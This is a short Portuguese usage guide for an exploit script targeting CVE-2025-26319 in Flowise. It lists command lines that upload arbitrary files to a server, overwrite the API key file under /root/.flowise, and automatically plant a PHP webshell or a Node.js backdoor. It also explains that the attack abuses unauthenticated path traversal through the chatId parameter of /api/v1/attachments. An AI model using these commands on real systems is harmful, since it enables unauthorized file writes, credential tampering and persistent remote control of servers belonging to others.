CVE-2025-26319

1. Upload básico de arquivo python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. Upload de arquivo de configuração

Modificar configuração da chave da API

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Gerar e enviar webshell automaticamente

Enviar webshell PHP

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Enviar backdoor Node.js

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

Princípio do ataque Explora a rota /api/v1/attachments que está na lista de permissões e não requer autenticação Executa path traversal manipulando o parâmetro chatId (../../../) Faz upload de arquivos arbitrários para qualquer local no sistema de arquivos do servidor